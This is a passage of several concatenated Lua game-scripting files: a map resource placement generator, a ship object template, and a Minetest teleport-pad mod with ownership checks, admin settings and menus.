-- Place at this location
local pPlot = Map.GetPlotByIndex(iMapIndex);
ResourceBuilder.SetResourceType(pPlot, eResourceType, 1);
iTotalPlaced = iTotalPlaced + 1;
--print (" Placed at (" .. tostring(pPlot:GetX()) .. ", " .. tostring(pPlot:GetY()) .. ") with score of " .. tostring(iScore));
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__ScoreLuxuryPlots(iResourceIndex, eContinent)
-- Clear all earlier entries (some might not be valid if resources have been placed
for k, v in pairs(self.aaPossibleLuxLocs[iResourceIndex]) do
self.aaPossibleLuxLocs[iResourceIndex][k] = nil;
end
plots = Map.GetContinentPlots(eContinent);
for i, plot in ipairs(plots) do
local pPlot = Map.GetPlotByIndex(plot);
local bIce = false;
if (IsAdjacentToIce(pPlot:GetX(), pPlot:GetY()) == true) then
bIce = true;
end
if (ResourceBuilder.CanHaveResource(pPlot, self.eResourceType[iResourceIndex]) and bIce == false) then
row = {};
row.MapIndex = plot;
row.Score = 500;
row.Score = row.Score / ((ResourceBuilder.GetAdjacentResourceCount(pPlot) + 1) * 3.5);
row.Score = row.Score + TerrainBuilder.GetRandomNumber(scoreRnd, "Resource Placement Score Adjust");
if (ResourceBuilder.GetAdjacentResourceCount(pPlot) <= 1 or #self.aaPossibleLuxLocs == 0) then
table.insert(self.aaPossibleLuxLocs[iResourceIndex], row);
end
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__PlaceWaterLuxury(eChosenLux, eContinent)
local eLuxuryType = self.eResourceType[eChosenLux];
-- Compute how many to place
local iNumToPlace = 1;
if (self.iOccurencesPerFrequency > 1) then
iNumToPlace = self.iOccurencesPerFrequency;
end
-- Find the water luxury plots
for k, v in pairs(self.aaPossibleLuxLocsWater[eChosenLux]) do
self.aaPossibleLuxLocsWater[eChosenLux][k] = nil;
end
coastalPlots = Map.GetContinentCoastalPlots(eContinent, 2);
for i, plot in ipairs(coastalPlots) do
local pPlot = Map.GetPlotByIndex(plot);
local bIce = false;
if (IsAdjacentToIce(pPlot:GetX(), pPlot:GetY()) == true) then
bIce = true;
end
-- See if the resources can appear here
if (ResourceBuilder.CanHaveResource(pPlot, eChosenLux) and bIce == false) then
local iBonusAdjacent = 0;
if (self.iStandardPercentage < self.iTargetPercentage) then
iBonusAdjacent = 0.5;
elseif (self.iStandardPercentage > self.iTargetPercentage) then
iBonusAdjacent = -0.5;
end
row = {};
row.MapIndex = plot;
score = 500;
score = score / ((ResourceBuilder.GetAdjacentResourceCount(pPlot) + 1) * 3.5);
score = score + 100 + TerrainBuilder.GetRandomNumber(scoreRnd, "Resource Placement Score Adjust");
--score = TerrainBuilder.GetRandomNumber(200, "Resource Placement Score Adjust");
--score = score / ((ResourceBuilder.GetAdjacentResourceCount(pPlot) + 1) * (3.5 + iBonusAdjacent));
row.Score = score;
if (ResourceBuilder.GetAdjacentResourceCount(pPlot) <= 1 or #self.aaPossibleLuxLocsWater == 0) then
table.insert(self.aaPossibleLuxLocsWater[eChosenLux], row);
end
end
end
-- Sort and take best score
table.sort(self.aaPossibleLuxLocsWater[eLuxuryType], function(a, b) return a.Score > b.Score; end);
for iI = 1, iNumToPlace do
if (iI <= #self.aaPossibleLuxLocsWater[eLuxuryType]) then
local iMapIndex = self.aaPossibleLuxLocsWater[eLuxuryType][iI].MapIndex;
local iScore = self.aaPossibleLuxLocsWater[eLuxuryType][iI].Score;
-- Place at this location
local pPlot = Map.GetPlotByIndex(iMapIndex);
ResourceBuilder.SetResourceType(pPlot, eLuxuryType, 1);
-- print (" Placed at (" .. tostring(pPlot:GetX()) .. ", " .. tostring(pPlot:GetY()) .. ") with score of " .. tostring(iScore));
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__GetStrategicResources()
local continentsInUse = Map.GetContinentsInUse();
self.iNumContinents = #continentsInUse;
self.aStrategicType = {};
-- Find the Strategic Resources
for row = 0, self.iResourcesInDB do
if (self.eResourceClassType[row] == "RESOURCECLASS_STRATEGIC" and self.iFrequency[row] > 0) then
table.insert(self.aStrategicType, self.eResourceType[row]);
end
end
aWeight = {};
for row in GameInfo.Resource_Distribution() do
if (row.Continents == self.iNumContinents) then
for iI = 1, row.Scarce do
table.insert(aWeight, 1 - row.PercentAdjusted / 100);
end
for iI = 1, row.Average do
table.insert(aWeight, 1);
end
for iI = 1, row.Plentiful do
table.insert(aWeight, 1 + row.PercentAdjusted / 100);
end
end
end
aWeight = GetShuffledCopyOfTable(aWeight);
self.iFrequencyStrategicTotal = 0;
for i, row in ipairs(self.aStrategicType) do
self.iFrequencyStrategicTotal = self.iFrequencyStrategicTotal + self.iFrequency[row];
end
for index, eContinent in ipairs(continentsInUse) do
-- Shuffle the table
self.aStrategicType = GetShuffledCopyOfTable(self.aStrategicType);
--print ("Retrieved plots for continent: " .. tostring(eContinent));
self:__ValidStrategicPlots(aWeight[index], eContinent);
-- next find the valid plots for each of the strategics
self:__PlaceStrategicResources(eContinent);
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__ValidStrategicPlots(iWeight, eContinent)
-- go through each plot on the continent and find the valid strategic plots
local iSize = #self.aStrategicType;
local iBaseScore = 1;
self.iTotalValidPlots = 0;
self.aResourcePlacementOrderStrategic = {};
plots = Map.GetContinentPlots(eContinent);
coastalPlots = Map.GetContinentCoastalPlots(eContinent, 2);
-- Find valid spots for land resources first
for i, plot in ipairs(plots) do
local bCanHaveSomeResource = false;
local pPlot = Map.GetPlotByIndex(plot);
-- See which resources can appear here
for iI = 1, iSize do
if (ResourceBuilder.CanHaveResource(pPlot, self.aStrategicType[iI])) then
row = {};
row.MapIndex = plot;
row.Score = iBaseScore;
table.insert(self.aaPossibleStratLocs[self.aStrategicType[iI]], row);
bCanHaveSomeResource = true;
end
end
if (bCanHaveSomeResource == true) then
self.iTotalValidPlots = self.iTotalValidPlots + 1;
end
end
-- Now run through the same logic but for coastal plots
for i, plot in ipairs(coastalPlots) do
local bCanHaveSomeResource = false;
local pPlot = Map.GetPlotByIndex(plot);
-- See which resources can appear here
for iI = 1, iSize do
if (ResourceBuilder.CanHaveResource(pPlot, self.aStrategicType[iI])) then
row = {};
row.MapIndex = plot;
row.Score = 500;
row.Score = row.Score / ((ResourceBuilder.GetAdjacentResourceCount(pPlot) + 1) * 4.5);
row.Score = row.Score + TerrainBuilder.GetRandomNumber(100, "Resource Placement Score Adjust");
table.insert(self.aaPossibleStratLocsWater[self.aStrategicType[iI]], row);
bCanHaveSomeResource = true;
end
end
if (bCanHaveSomeResource == true) then
self.iTotalValidPlots = self.iTotalValidPlots + 1;
end
end
for iI = 1, iSize do
row = {};
row.ResourceIndex = self.aStrategicType[iI];
row.NumEntries = #self.aaPossibleStratLocs[iI];
row.Weight = iWeight or 0;
table.insert(self.aResourcePlacementOrderStrategic, row);
end
table.sort(self.aResourcePlacementOrderStrategic, function(a, b) return a.NumEntries < b.NumEntries; end);
self.iOccurencesPerFrequency = (#plots) * (self.iTargetPercentage / 100) * (self.iStrategicPercentage / 100);
end
------------------------------------------------------------------------------
function ResourceGenerator:__PlaceStrategicResources(eContinent)
-- Go through continent placing the chosen strategic
for i, row in ipairs(self.aResourcePlacementOrderStrategic) do
local eResourceType = self.eResourceType[row.ResourceIndex]
local iNumToPlace;
-- Compute how many to place
iNumToPlace = self.iOccurencesPerFrequency * (self.iFrequency[row.ResourceIndex] / self.iFrequencyStrategicTotal) * row.Weight;
-- Score possible locations
self:__ScoreStrategicPlots(row.ResourceIndex, eContinent);
-- Sort and take best score
table.sort(self.aaPossibleStratLocs[row.ResourceIndex], function(a, b) return a.Score > b.Score; end);
if (self.iFrequency[row.ResourceIndex] > 1 and iNumToPlace < 1) then
iNumToPlace = 1;
end
for iI = 1, iNumToPlace do
if (iI <= #self.aaPossibleStratLocs[row.ResourceIndex]) then
local iMapIndex = self.aaPossibleStratLocs[row.ResourceIndex][iI].MapIndex;
local iScore = self.aaPossibleStratLocs[row.ResourceIndex][iI].Score;
-- Place at this location
local pPlot = Map.GetPlotByIndex(iMapIndex);
ResourceBuilder.SetResourceType(pPlot, eResourceType, 1);
-- print (" Placed at (" .. tostring(pPlot:GetX()) .. ", " .. tostring(pPlot:GetY()) .. ") with score of " .. tostring(iScore));
end
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__ScoreStrategicPlots(iResourceIndex, eContinent)
-- Clear all earlier entries (some might not be valid if resources have been placed
for k, v in pairs(self.aaPossibleStratLocs[iResourceIndex]) do
self.aaPossibleStratLocs[iResourceIndex][k] = nil;
end
local iSize = #self.aaPossibleStratLocsWater[iResourceIndex];
if (iSize > 0) then
for k, v in pairs(self.aaPossibleStratLocsWater[iResourceIndex]) do
row = {};
row.MapIndex = v.MapIndex;
row.Score = v.Score;
table.insert(self.aaPossibleStratLocs[iResourceIndex], row);
end
end
plots = Map.GetContinentPlots(eContinent);
for i, plot in ipairs(plots) do
local pPlot = Map.GetPlotByIndex(plot);
if (ResourceBuilder.CanHaveResource(pPlot, self.eResourceType[iResourceIndex])) then
row = {};
row.MapIndex = plot;
row.Score = 500;
row.Score = row.Score / ((ResourceBuilder.GetAdjacentResourceCount(pPlot) + 1) * 4.5);
row.Score = row.Score + TerrainBuilder.GetRandomNumber(scoreRnd, "Resource Placement Score Adjust");
if (ResourceBuilder.GetAdjacentResourceCount(pPlot) <= 1 or #self.aaPossibleStratLocs == 0) then
table.insert(self.aaPossibleStratLocs[iResourceIndex], row);
end
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__GetOtherResources()
self.aOtherType = {};
print("###################################################");
print("Start of Other Resource Placements");
print("###################################################");
-- Find the other resources
for row = 0, self.iResourcesInDB do
if (self.eResourceClassType[row] ~= "RESOURCECLASS_STRATEGIC" and self.eResourceClassType[row] ~= "RESOURCECLASS_LUXURY" and self.eResourceClassType[row] ~= "RESOURCECLASS_ARTIFACT") then
table.insert(self.aOtherType, self.eResourceType[row]);
elseif (self.eResourceClassType[row] == "RESOURCECLASS_LUXURY" and self.aResourceName[row] == 'RESOURCE_WHALES') or (self.eResourceClassType[row] == "RESOURCECLASS_LUXURY" and self.aResourceName[row] == 'RESOURCE_PEARLS') then
print("Adding " .. self.aResourceName[row] .. " To Resource Table");
table.insert(self.aOtherType, self.eResourceType[row]);
end
end
-- Shuffle the table
self.aOtherType = GetShuffledCopyOfTable(self.aOtherType);
local iW, iH;
iW, iH = Map.GetGridSize();
local iBaseScore = 1;
self.iTotalValidPlots = 0;
local iSize = #self.aOtherType;
local iPlotCount = Map.GetPlotCount();
for i = 0, iPlotCount - 1 do
local pPlot = Map.GetPlotByIndex(i);
local bCanHaveSomeResource = false;
-- See which resources can appear here
for iI = 1, iSize do
if (ResourceBuilder.CanHaveResource(pPlot, self.aOtherType[iI])) then
row = {};
row.MapIndex = i;
row.Score = iBaseScore;
table.insert(self.aaPossibleLocs[self.aOtherType[iI]], row);
bCanHaveSomeResource = true;
end
end
if (bCanHaveSomeResource == true) then
self.iTotalValidPlots = self.iTotalValidPlots + 1;
end
end
for iI = 1, iSize do
row = {};
row.ResourceIndex = self.aOtherType[iI];
row.NumEntries = #self.aaPossibleLocs[iI];
table.insert(self.aResourcePlacementOrder, row);
end
table.sort(self.aResourcePlacementOrder, function(a, b) return a.NumEntries < b.NumEntries; end);
for i, row in ipairs(self.aOtherType) do
self.iFrequencyTotal = self.iFrequencyTotal + self.iFrequency[row];
end
--print ("Total frequency: " .. tostring(self.iFrequencyTotal));
-- Compute how many of each resource to place
self.iOccurencesPerFrequency = (self.iTargetPercentage / 100) * self.iTotalValidPlots * (100 - self.iStrategicPercentage - self.iLuxuryPercentage) / 100 / self.iFrequencyTotal;
--print ("Occurrences per frequency: " .. tostring(self.iOccurencesPerFrequency));
self:__PlaceOtherResources();
end
------------------------------------------------------------------------------
function ResourceGenerator:__PlaceOtherResources()
for i, row in ipairs(self.aResourcePlacementOrder) do
local eResourceType = self.eResourceType[row.ResourceIndex]
local iNumToPlace;
-- Compute how many to place
iNumToPlace = self.iOccurencesPerFrequency * self.iFrequency[row.ResourceIndex];
-- Score possible locations
self:__ScorePlots(row.ResourceIndex);
-- Sort and take best score
table.sort(self.aaPossibleLocs[row.ResourceIndex], function(a, b) return a.Score > b.Score; end);
for iI = 1, iNumToPlace do
if (iI <= #self.aaPossibleLocs[row.ResourceIndex]) then
local iMapIndex = self.aaPossibleLocs[row.ResourceIndex][iI].MapIndex;
local iScore = self.aaPossibleLocs[row.ResourceIndex][iI].Score;
-- Place at this location
local pPlot = Map.GetPlotByIndex(iMapIndex);
ResourceBuilder.SetResourceType(pPlot, eResourceType, 1);
-- print (" Placed at (" .. tostring(pPlot:GetX()) .. ", " .. tostring(pPlot:GetY()) .. ") with score of " .. tostring(iScore));
end
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__ScorePlots(iResourceIndex)
local iW, iH;
iW, iH = Map.GetGridSize();
-- Clear all earlier entries (some might not be valid if resources have been placed
for k, v in pairs(self.aaPossibleLocs[iResourceIndex]) do
self.aaPossibleLocs[iResourceIndex][k] = nil;
end
for x = 0, iW - 1 do
for y = 0, iH - 1 do
local i = y * iW + x;
local pPlot = Map.GetPlotByIndex(i);
if (ResourceBuilder.CanHaveResource(pPlot, self.eResourceType[iResourceIndex])) then
row = {};
row.MapIndex = i;
row.Score = 500;
row.Score = row.Score / ((ResourceBuilder.GetAdjacentResourceCount(pPlot) + 1) * 1.1);
row.Score = row.Score + TerrainBuilder.GetRandomNumber(scoreRnd, "Resource Placement Score Adjust");
table.insert(self.aaPossibleLocs[iResourceIndex], row);
end
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__RemoveOtherDuplicateResources()
local iW, iH;
iW, iH = Map.GetGridSize();
for x = 0, iW - 1 do
for y = 0, iH - 1 do
local i = y * iW + x;
local pPlot = Map.GetPlotByIndex(i);
if (pPlot:GetResourceCount() > 0) then
for row = 0, self.iResourcesInDB do
if (self.eResourceClassType[row] ~= "RESOURCECLASS_STRATEGIC" and self.eResourceClassType[row] ~= "RESOURCECLASS_LUXURY" and self.eResourceClassType[row] ~= "RESOURCECLASS_ARTIFACT") then
if (self.eResourceType[row] == pPlot:GetResourceType()) then
local bRemove = self:__RemoveDuplicateResources(pPlot, self.eResourceType[row]);
if (bRemove == true) then
ResourceBuilder.SetResourceType(pPlot, -1);
end
end
end
end
end
end
end
end
------------------------------------------------------------------------------
function ResourceGenerator:__RemoveDuplicateResources(plot, eResourceType)
local iCount = 0;
for direction = 0, DirectionTypes.NUM_DIRECTION_TYPES - 1, 1 do
local adjacentPlot = Map.GetAdjacentPlot(plot:GetX(), plot:GetY(), direction);
if (adjacentPlot ~= nil) then
if (adjacentPlot:GetResourceCount() > 0) then
if (adjacentPlot:GetResourceType() == eResourceType) then
iCount = iCount + 1;
end
end
end
end
if (iCount >= 2) then
return true;
else
return false;
end
end
|
object_ship_nova_orion_boss_minion_02_tier6 = object_ship_shared_nova_orion_boss_minion_02_tier6:new {
}
ObjectTemplates:addTemplate(object_ship_nova_orion_boss_minion_02_tier6, "object/ship/nova_orion_boss_minion_02_tier6.iff")
|
tpad = {}
tpad.version = "1.2"
tpad.mod_name = minetest.get_current_modname()
tpad.texture = "tpad-texture.png"
tpad.mesh = "tpad-mesh.obj"
tpad.nodename = "tpad:tpad"
tpad.mod_path = minetest.get_modpath(tpad.mod_name)
local PRIVATE_PAD_STRING = "Private (only owner)"
local PUBLIC_PAD_STRING = "Public (only owner's network)"
local GLOBAL_PAD_STRING = "Global (any network)"
local PRIVATE_PAD = 1
local PUBLIC_PAD = 2
local GLOBAL_PAD = 4
local RED_ESCAPE = minetest.get_color_escape_sequence("#FF0000")
local GREEN_ESCAPE = minetest.get_color_escape_sequence("#00FF00")
local BLUE_ESCAPE = minetest.get_color_escape_sequence("#0000FF")
local YELLOW_ESCAPE = minetest.get_color_escape_sequence("#FFFF00")
local CYAN_ESCAPE = minetest.get_color_escape_sequence("#00FFFF")
local MAGENTA_ESCAPE = minetest.get_color_escape_sequence("#FF00FF")
local WHITE_ESCAPE = minetest.get_color_escape_sequence("#FFFFFF")
local OWNER_ESCAPE_COLOR = CYAN_ESCAPE
local padtype_flag_to_string = {
[PRIVATE_PAD] = PRIVATE_PAD_STRING,
[PUBLIC_PAD] = PUBLIC_PAD_STRING,
[GLOBAL_PAD] = GLOBAL_PAD_STRING,
}
local padtype_string_to_flag = {
[PRIVATE_PAD_STRING] = PRIVATE_PAD,
[PUBLIC_PAD_STRING] = PUBLIC_PAD,
[GLOBAL_PAD_STRING] = GLOBAL_PAD,
}
local short_padtype_string = {
[PRIVATE_PAD] = "private",
[PUBLIC_PAD] = "public",
[GLOBAL_PAD] = "global",
}
local smartfs = dofile(tpad.mod_path .. "/lib/smartfs.lua")
local notify = dofile(tpad.mod_path .. "/notify.lua")
-- workaround storage to tell the main dialog about the last clicked pad
local last_clicked_pos = {}
-- workaround storage to tell the main dialog about last selected pad in the lists
local last_selected_index = {}
local last_selected_global_index = {}
-- memory of shown waypoints
local waypoint_hud_ids = {}
minetest.register_privilege("tpad_admin", {
description = "Can edit and destroy any tpad",
give_to_singleplayer = true,
})
-- ========================================================================
-- local helpers
-- ========================================================================
local function copy_file(source, dest)
local src_file = io.open(source, "rb")
if not src_file then
return false, "copy_file() unable to open source for reading"
end
local src_data = src_file:read("*all")
src_file:close()
local dest_file = io.open(dest, "wb")
if not dest_file then
return false, "copy_file() unable to open dest for writing"
end
dest_file:write(src_data)
dest_file:close()
return true, "files copied successfully"
end
-- alias to make copy_file() available to storage.lua
tpad._copy_file = copy_file
local function custom_or_default(modname, path, filename)
local default_filename = "default/" .. filename
local full_filename = path .. "/custom." .. filename
local full_default_filename = path .. "/" .. default_filename
os.rename(path .. "/" .. filename, full_filename)
local file = io.open(full_filename, "rb")
if not file then
minetest.debug("[" .. modname .. "] Copying " .. default_filename .. " to " .. filename .. " (path: " .. path .. ")")
local success, err = copy_file(full_default_filename, full_filename)
if not success then
minetest.debug("[" .. modname .. "] " .. err)
return false
end
file = io.open(full_filename, "rb")
if not file then
minetest.debug("[" .. modname .. "] Unable to load " .. filename .. " file from path " .. path)
return false
end
end
file:close()
return full_filename
end
-- load storage facilities and verify it
dofile(tpad.mod_path .. "/storage.lua")
-- ========================================================================
-- load custom recipe
-- ========================================================================
local recipes_filename = custom_or_default(tpad.mod_name, tpad.mod_path, "recipes.lua")
if recipes_filename then
local recipes = dofile(recipes_filename)
if type(recipes) == "table" and recipes[tpad.nodename] then
minetest.register_craft({
output = tpad.nodename,
recipe = recipes[tpad.nodename],
})
end
end
-- ========================================================================
-- callback bound in register_chatcommand("tpad")
-- ========================================================================
function tpad.command(playername, param)
tpad.hud_off(playername)
if(param == "off") then return end
local player = minetest.get_player_by_name(playername)
local pads = tpad._get_stored_pads(playername)
local shortest_distance = nil
local closest_pad = nil
local playerpos = player:getpos()
for strpos, pad in pairs(pads) do
local pos = minetest.string_to_pos(strpos)
local distance = vector.distance(pos, playerpos)
if not shortest_distance or distance < shortest_distance then
closest_pad = {
pos = pos,
name = pad.name .. " " .. strpos,
}
shortest_distance = distance
end
end
if closest_pad then
waypoint_hud_ids[playername] = player:hud_add({
hud_elem_type = "waypoint",
name = closest_pad.name,
world_pos = closest_pad.pos,
number = 0xFF0000,
})
notify(playername, "Waypoint to " .. closest_pad.name .. " displayed")
end
end
function tpad.hud_off(playername)
local player = minetest.get_player_by_name(playername)
local hud_id = waypoint_hud_ids[playername]
if hud_id then
player:hud_remove(hud_id)
end
end
-- ========================================================================
-- callbacks bound in register_node()
-- ========================================================================
function tpad.get_pos_from_pointed(pointed)
local node_above = minetest.get_node_or_nil(pointed.above)
local node_under = minetest.get_node_or_nil(pointed.under)
if not node_above or not node_under then return end
local def_above = minetest.registered_nodes[node_above.name]
or minetest.nodedef_default
local def_under = minetest.registered_nodes[node_under.name]
or minetest.nodedef_default
if not def_above.buildable_to and not def_under.buildable_to then return end
if def_under.buildable_to then
return pointed.under
end
return pointed.above
end
function tpad.on_place(itemstack, placer, pointed_thing)
if tpad.max_total_pads_reached(placer) then
notify.warn(placer, "You can't place any more pads")
return itemstack
end
local pos = tpad.get_pos_from_pointed(pointed_thing) or {}
itemstack = minetest.rotate_node(itemstack, placer, pointed_thing)
local placed = minetest.get_node_or_nil(pos)
if placed and placed.name == tpad.nodename then
local meta = minetest.get_meta(pos)
local playername = placer:get_player_name()
meta:set_string("owner", playername)
meta:set_string("infotext", "TPAD Station by " .. playername .. " - right click to interact")
tpad.set_pad_data(pos, "", PRIVATE_PAD_STRING)
end
return itemstack
end
local submit = {}
function tpad.max_total_pads_reached(placer)
local placername = placer:get_player_name()
if minetest.get_player_privs(placername).tpad_admin then
return false
end
local localnet = submit.local_helper(placername)
return #localnet.by_index >= tpad.get_max_total_pads()
end
function tpad.max_global_pads_reached(playername)
if minetest.get_player_privs(playername).tpad_admin then
return false
end
local localnet = submit.local_helper(playername)
local count = 0
for _, pad in pairs(localnet.by_name) do
if pad.type == GLOBAL_PAD then
count = count + 1
end
end
return count >= tpad.get_max_global_pads()
end
function submit.global_helper()
local allpads = tpad._get_all_pads()
local result = {
by_name = {},
by_index = {},
}
for ownername, pads in pairs(allpads) do
for strpos, pad in pairs(pads) do
if pad.type == GLOBAL_PAD then
pad = tpad.decorate_pad_data(strpos, pad, ownername)
table.insert(result.by_index, pad.global_fullname)
result.by_name[pad.global_fullname] = pad
end
end
end
table.sort(result.by_index)
return result
end
function submit.local_helper(ownername, omit_private_pads)
local pads = tpad._get_stored_pads(ownername)
local result = {
by_name = {},
by_index = {},
}
for strpos, pad in pairs(pads) do
local skip = omit_private_pads and pad.type == PRIVATE_PAD
if not skip then
pad = tpad.decorate_pad_data(strpos, pad, ownername)
table.insert(result.by_index, pad.local_fullname)
result.by_name[pad.local_fullname] = pad
end
end
table.sort(result.by_index)
return result
end
function submit.save(form)
if form.playername ~= form.ownername and not minetest.get_player_privs(form.playername).tpad_admin then
notify.warn(form.playername, "The selected pad doesn't belong to you")
return
end
local padname = form.state:get("padname_field"):getText()
local strpadtype = form.state:get("padtype_dropdown"):getSelectedItem()
if strpadtype == GLOBAL_PAD_STRING and tpad.max_global_pads_reached(form.playername) then
notify.warn(form.playername, "Can't add more pads to the Global Network, set to 'Public' instead")
strpadtype = PUBLIC_PAD_STRING
end
tpad.set_pad_data(form.clicked_pos, padname, strpadtype)
end
function submit.teleport(form)
local pads_listbox = form.state:get("pads_listbox")
local selected_item = pads_listbox:getSelectedItem()
local pad
if form.globalnet then
pad = form.globalnet.by_name[selected_item]
else
pad = form.localnet.by_name[selected_item]
end
if not pad then
notify.err(form.playername, "Error! Missing pad data!")
return
end
local player = minetest.get_player_by_name(form.playername)
player:move_to(pad.pos, false)
local padname = form.globalnet and pad.global_fullname or pad.local_fullname
notify(form.playername, "Teleported to " .. padname)
tpad.hud_off(form.playername)
minetest.after(0, function()
minetest.close_formspec(form.playername, form.formname)
end)
end
function submit.admin(form)
form.state = tpad.forms.admin:show(form.playername)
form.formname = "tpad.forms.admin"
local max_total_field = form.state:get("max_total_field")
max_total_field:setText(tpad.get_max_total_pads())
local max_global_field = form.state:get("max_global_field")
max_global_field:setText(tpad.get_max_global_pads())
local function admin_save()
local max_total = tonumber(max_total_field:getText())
local max_global = tonumber(max_global_field:getText())
tpad.set_max_total_pads(max_total)
tpad.set_max_global_pads(max_global)
minetest.after(0, function()
minetest.close_formspec(form.playername, form.formname)
end)
end
max_total_field:onKeyEnter(admin_save)
max_total_field:onKeyEnter(admin_save)
form.state:get("save_button"):onClick(admin_save)
end
function submit.global(form)
if minetest.get_player_privs(form.playername).tpad_admin then
form.state = tpad.forms.global_network_admin:show(form.playername)
form.formname = "tpad.forms.global_network_admin"
form.state:get("admin_button"):onClick(function()
minetest.after(0, function()
submit.admin(form)
end)
end)
else
form.state = tpad.forms.global_network:show(form.playername)
form.formname = "tpad.forms.global_network"
end
form.globalnet = submit.global_helper()
local last_index = last_selected_global_index[form.playername]
local pads_listbox = form.state:get("pads_listbox")
pads_listbox:clearItems()
for _, pad_item in ipairs(form.globalnet.by_index) do
pads_listbox:addItem(pad_item)
end
pads_listbox:setSelected(last_index)
pads_listbox:onClick(function()
last_selected_global_index[form.playername] = pads_listbox:getSelected()
end)
pads_listbox:onDoubleClick(function() submit.teleport(form) end)
form.state:get("teleport_button"):onClick(function() submit.teleport(form) end)
form.state:get("local_button"):onClick(function()
minetest.after(0, function()
tpad.on_rightclick(form.clicked_pos, form.node, form.clicker)
end)
end)
end
function submit.delete(form)
minetest.after(0, function()
local pads_listbox = form.state:get("pads_listbox")
local selected_item = pads_listbox:getSelectedItem()
local delete_pad = form.localnet.by_name[selected_item]
if not delete_pad then
notify.warn(form.playername, "Please select a pad first")
return
end
if form.playername ~= form.ownername and not minetest.get_player_privs(form.playername).tpad_admin then
notify.warn(form.playername, "The selected pad doesn't belong to you")
return
end
if minetest.pos_to_string(delete_pad.pos) == minetest.pos_to_string(form.clicked_pos) then
notify.warn(form.playername, "You can't delete the current pad, destroy it manually")
return
end
local function reshow_main()
minetest.after(0, function()
tpad.on_rightclick(form.clicked_pos, form.node, minetest.get_player_by_name(form.playername))
end)
end
local delete_state = tpad.forms.confirm_pad_deletion:show(form.playername)
delete_state:get("padname_label"):setText(
YELLOW_ESCAPE .. delete_pad.local_fullname ..
WHITE_ESCAPE .. " by " ..
OWNER_ESCAPE_COLOR .. form.ownername
)
local confirm_button = delete_state:get("confirm_button")
confirm_button:onClick(function()
last_selected_index[form.playername .. ":" .. form.ownername] = nil
tpad.del_pad(form.ownername, delete_pad.pos)
minetest.remove_node(delete_pad.pos)
notify(form.playername, "Pad " .. delete_pad.local_fullname .. " destroyed")
reshow_main()
end)
local deny_button = delete_state:get("deny_button")
deny_button:onClick(reshow_main)
end)
end
function tpad.on_rightclick(clicked_pos, node, clicker)
local playername = clicker:get_player_name()
local clicked_meta = minetest.get_meta(clicked_pos)
local ownername = clicked_meta:get_string("owner")
local pad = tpad.get_pad_data(clicked_pos)
if not pad or not ownername then
notify.err(playername, "Error! Missing pad data!")
return
end
local form = {}
form.playername = playername
form.clicker = clicker
form.ownername = ownername
form.clicked_pos = clicked_pos
form.node = node
form.omit_private_pads = false
last_clicked_pos[playername] = clicked_pos;
if ownername == playername or minetest.get_player_privs(playername).tpad_admin then
form.formname = "tpad.forms.main_owner"
form.state = tpad.forms.main_owner:show(playername)
local padname_field = form.state:get("padname_field")
padname_field:setLabel("This pad name (owned by " .. OWNER_ESCAPE_COLOR .. ownername .. WHITE_ESCAPE .. ")")
padname_field:setText(pad.name)
padname_field:onKeyEnter(function() submit.save(form) end)
form.state:get("save_button"):onClick(function() submit.save(form) end)
form.state:get("delete_button"):onClick(function() submit.delete(form) end)
form.state:get("padtype_dropdown"):setSelectedItem(padtype_flag_to_string[pad.type])
elseif pad.type == PRIVATE_PAD then
notify.warn(playername, "This pad is private")
return
else
form.omit_private_pads = true
form.formname = "tpad.forms.main_visitor"
form.state = tpad.forms.main_visitor:show(playername)
form.state:get("visitor_label"):setText("Pad \"" .. pad.name .. "\", owned by " .. OWNER_ESCAPE_COLOR .. ownername)
end
form.localnet = submit.local_helper(ownername, form.omit_private_pads)
local last_click_key = playername .. ":" .. ownername
local last_index = last_selected_index[last_click_key]
local pads_listbox = form.state:get("pads_listbox")
pads_listbox:clearItems()
for _, pad_item in ipairs(form.localnet.by_index) do
pads_listbox:addItem(pad_item)
end
pads_listbox:setSelected(last_index)
pads_listbox:onClick(function()
last_selected_index[last_click_key] = pads_listbox:getSelected()
end)
pads_listbox:onDoubleClick(function() submit.teleport(form) end)
form.state:get("teleport_button"):onClick(function() submit.teleport(form) end)
form.state:get("global_button"):onClick(function()
minetest.after(0, function()
submit.global(form)
end)
end)
end
function tpad.can_dig(pos, player)
local meta = minetest.get_meta(pos)
local ownername = meta:get_string("owner")
local playername = player:get_player_name()
if ownername == "" or ownername == nil or playername == ownername
or minetest.get_player_privs(playername).tpad_admin then
return true
end
notify.warn(playername, "This pad doesn't belong to you")
return false
end
function tpad.on_destruct(pos)
local meta = minetest.get_meta(pos)
local ownername = meta:get_string("owner")
tpad.del_pad(ownername, pos)
end
-- ========================================================================
-- forms
-- ========================================================================
tpad.forms = {}
local function forms_add_padlist(state, is_global)
local pads_listbox = state:listbox(0.2, 2.4, 7.6, 4, "pads_listbox", {})
local teleport_button = state:button(0.2, 7, 1.5, 0, "teleport_button", "Teleport")
local close_button = state:button(6.5, 7, 1.5, 0, "close_button", "Close")
close_button:setClose(true)
if is_global then
local local_button = state:button(1.8, 7, 2.5, 0, "local_button", "Local Network")
local_button:setClose(true)
else
local global_button = state:button(1.8, 7, 2.5, 0, "global_button", "Global Network")
global_button:setClose(true)
end
state:label(0.2, 7.5, "teleport_label", "(you can doubleclick on a pad to teleport)")
end
tpad.forms.main_owner = smartfs.create("tpad.forms.main_owner", function(state)
state:size(8, 8);
state:field(0.5, 1, 6, 0, "padname_field", "", "")
local save_button = state:button(6.5, 0.7, 1.5, 0, "save_button", "Save")
save_button:setClose(true)
local padtype_dropdown = state:dropdown(0.2, 1.2, 6.4, 0, "padtype_dropdown")
padtype_dropdown:addItem(PRIVATE_PAD_STRING)
padtype_dropdown:addItem(PUBLIC_PAD_STRING)
padtype_dropdown:addItem(GLOBAL_PAD_STRING)
local delete_button = state:button(4.4, 7, 1.5, 0, "delete_button", "Delete")
forms_add_padlist(state)
end)
tpad.forms.main_visitor = smartfs.create("tpad.forms.main_visitor", function(state)
state:size(8, 8)
state:label(0.2, 1, "visitor_label", "")
forms_add_padlist(state)
end)
tpad.forms.confirm_pad_deletion = smartfs.create("tpad.forms.confirm_pad_deletion", function(state)
state:size(8, 2.5)
